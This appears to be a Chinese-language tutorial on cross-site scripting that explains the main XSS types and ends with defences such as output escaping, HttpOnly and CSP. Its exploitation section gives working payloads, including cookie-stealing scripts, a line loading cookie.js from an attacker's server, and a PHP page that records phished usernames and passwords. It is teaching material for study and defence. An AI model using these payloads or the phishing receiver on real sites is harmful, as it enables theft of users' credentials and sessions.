-
跨站脚本(XSS)漏洞
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS 。恶意攻击者往 Web ⻚⾯⾥插⼊恶意 JavaScript代码,当⽤户浏览该⻚之时,嵌⼊ Web ⻚⾯⾥的代码会被执⾏,从⽽达到恶意攻击⽤户的⽬的。
-
常见类型
反射性XSS:payload经过后端,不经过数据库
存储型XSS:payload经过后端,经过数据库
DOM型XSS:payload不经过后端
XSS漏洞
- 1.原理
- 1.1.成因
- 1.2.反射型XSS
- 1.3.存储型XSS
- 1.4.DOM型XSS
- 1.5.Self XSS
- 2.利用
- 2.1.Payload
- 2.2.获取用户信息
- 2.3.钓鱼网站
- 2.4.流量劫持
- 3.危害
- 4.防御
1.原理
1.1.成因
漏洞成因:
由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中掺HTML代码(最主要的是“>”、“<”),然后未加编码地输出到第三方用户的浏览器,这些攻击者恶意提交代码(payload)会被受害用户的浏览器解释执行。
1.2.反射型XSS
概念:
⾮持久化,需要欺骗⽤户点击链接才能触发 XSS 代码(数据库中没有这样的⻚⾯和内容)。Payload ⼀般存在于 URL 或者 HTTP 正⽂中,需要构造⻚⾯,或者构造 URL。
数据流向:浏览器——>后端——>浏览器
1.3.存储型XSS
概念:
持久化,代码储存在数据库中。如在个⼈信息或发表⽂章等地⽅,假如代码没有过滤或过滤不严,那么这些代码将储存到数据库中,⽤户访问该⻚⾯的时候出发代码执⾏。这种 XSS ⽐较危险,容易造成蠕⾍,盗窃 Cookie 等。
数据流向:浏览器——>后端——>数据库——>后端——>浏览器
1.4.DOM型XSS
概念:
DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析可以认为完全是客户端的事情。
可以触发dom型xss的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
1.5.Self XSS
概念:
⾃⼰输⼊xss脚本,输出仅⾃⼰看到,仅xss到⾃⼰。
危害小
2.利用
2.1.Payload
Payload 的中⽂含义是有效载荷,在 XSS 中指代攻击代码或攻击语句。
常⻅的 Payload 有:
正常弹窗:
<script>alert(1)</script>
<img src=0 onerror=alert(1)>
弹出⽹站 Cookie:
<script>alert(document.cookie)</script>
<img src=0 onerror=alert(document.cookie)>
除了以上的paylaod,有很多标签,事件,属性都是可以拿来执⾏js的。
可以执⾏js的标签:
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>
<select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
可以执⾏js的事件(所有的事件都是以on开头的):
onload onunload onchange onsubmit onreset onselect onblur onfocus onabort
onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove
onmouseout onmouseup onforminput onformchange ondrag ondrop
可以执⾏js的属性:
formaction action href xlink:href autofocus src content data
2.2.获取用户信息
Cookie:
在⽹⻚浏览中我们常常涉及到⽤户登录,登录完毕之后服务端会返回⼀个cookie值。这个cookie值相当
于⼀个令牌,拿着这张令牌就等同于证明了你是某个⽤户。
利用:
如果你的cookie值被窃取,那么攻击者很可能能够直接利⽤你的这张令牌不⽤密码就登录你的账户。如果想要通过script脚本获得当前⻚⾯的cookie值,通常会⽤到document.cookie。
BlueLotus”xss平台的使用:
https://blog.csdn.net/qq_52358808/article/details/120002782?spm=1001.2014.3001.5502
2.3.钓鱼网站
制作钓鱼界面:
为了模拟真实的登录⻚⾯,可以将原⽹站的登录⻚⾯的源码复制下了,然后将⾥⾯的⼀些路径修改为⽹站的地址。
接收数据:
将地址修改为接收传递过来的数据的地址,然后将该钓⻥⻚⾯插⼊到存在XSS漏洞的地⽅即可。注意,插⼊的前提需要漏洞点可以插⼊以上钓⻥⻚⾯的标签。
当受害者输⼊账号密码之后会通过该⻚⾯进⾏接收,然后返回正常的⽹站⻚⾯。
<?php
$name = $_GET['user'];
$pwd = $_GET['password'];
$userpwd = $name.":".$pwd;
fputs(fopen("test.txt","w"),"$userpwd");
header('Location:http://服务器ip');
?>
Payload:
iframe元素会创建包含另外⼀个⽂档的内联框架,也就是说如果我们在⽹⻚中添加了⼀个iframe元素,src⼀个需要内联的⽹址,然后src的⽹⻚就会加载在当前⽹站,这样当我们的xss代码被触发的时候,⽹站就会内嵌⼀个我们伪造的⼀模⼀样的钓⻥⻚⾯在管理员的浏览器上,管理员可能就以为⾃⼰退出了系统,然后重新输⼊⽤户名和密码,这样密码就会发送到我们的服务器上,我们就可以利⽤⽤户名和密码进⾏登录了。
攻击paylaod:
<script src=http://服务器ip/cookie.js></script>
2.4.流量劫持
攻击payload:
<script>window.location.href="http://www.baidu.com";</script>
3.危害
获取⽤户信息:如浏览器信息、ip 地址、cookie 信息等
钓⻥:利⽤ xss 漏洞构造出⼀个登录框,骗取⽤户账户密码,提示登录过期,模拟⼀个⽹站的登录框,将⽤户名、密码发送到攻击者服务器。
注⼊⽊⻢或⼴告链接:有些在主站注⼊⾮法⽹站的链接,对公司的声誉有⼀定的影响。
后台⽹站数据操作:配合 CSRF 漏洞,骗取⽤户点击,利⽤ js 模拟浏览器发包。
xss 蠕⾍:微博蠕⾍只要看过某⼈的微博就是⾃动关注某⼈;贴吧蠕⾍:看过某个帖⼦就⾃动回复。
4.防御
输入过滤:
对⽤户提交的数据进⾏有效性验证,仅接受指定⻓度范围内并符合我们期望格式的的内容提交,阻⽌或者忽略除此外的其他任何数据。
输出转义:
在变量输出到 HTML ⻚⾯时,可以使⽤编码或转义的⽅式来防御 XSS 攻击
例如:htmlspecialchars()把预定义的字符转换为 HTML 实体
http only:
HttpOnly是加在cookies上的⼀个标识,⽤于告诉浏览器不要向客户端脚本(document.cookie或其他)暴露cookie。当你在cookie上设置HttpOnly标识后,浏览器就会知会到这是特殊的cookie,只能由服务器检索到,所有来⾃客户端脚本的访问都会被禁⽌。
Httponly:禁⽌javascript读取,如果cookie中的⼀个参数带有httponly,则这个参数将不能被javascript获取;httponly可以防⽌xss会话劫持攻击。
配合CSP:
CSP(Content Security Policy)指的是内容安全策略,为了缓解很⼤⼀部分潜在的跨站脚本问题,浏览器的扩展程序系统引⼊了内容安全策略(CSP)的⼀般概念。
CSP 本质上是建⽴⽩名单,规定了浏览器只能够执⾏特定来源的代码;即使发⽣了xss攻击,也不会加载来源不明的第三⽅脚本。